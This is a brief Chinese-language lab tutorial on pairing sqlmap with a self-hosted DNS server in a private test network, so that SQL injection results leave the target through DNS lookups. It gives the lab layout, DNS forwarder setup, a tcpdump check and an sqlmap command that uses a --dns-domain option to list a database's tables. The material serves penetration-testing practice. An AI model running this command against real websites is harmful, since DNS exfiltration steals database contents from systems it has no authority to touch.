SQLmap 结合本地dnslog实现注入

1.前提

1. mysql中secure_file-priv参数必须为空而不是null

2.  
   1.kali（使用sqlmap）      ip：192.168.10.137
   2.windows10              ip： 192.168.10.33
   3.windows 2008 R2 （ 需要设置dns服务器）ip ：192.168.10.138
   

2.安装DNS服务器

2.1添加DNS服务器及正向查找文件添加记录

2.2在监视中对测试类型打钩

 

2.3添加条件转发器

ip为kali 的ip

3. 设置靶机的dns地址

需要修改靶机的dns服务器为我们设置的dns服务器

4.在kali上：tcpdump -n port 53

在kali看到了数据包证明成功

5.开始sqlmap结合dnslog进行注入

命令格式：sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" --technique=T --dns-domain "oupeng.top" -D security --tables

命令格式：sqlmap -u "http://xx.xx.xx.xx/index.php?id=1" 
--technique=T --dns-domain "oupeng.top" -D security --tables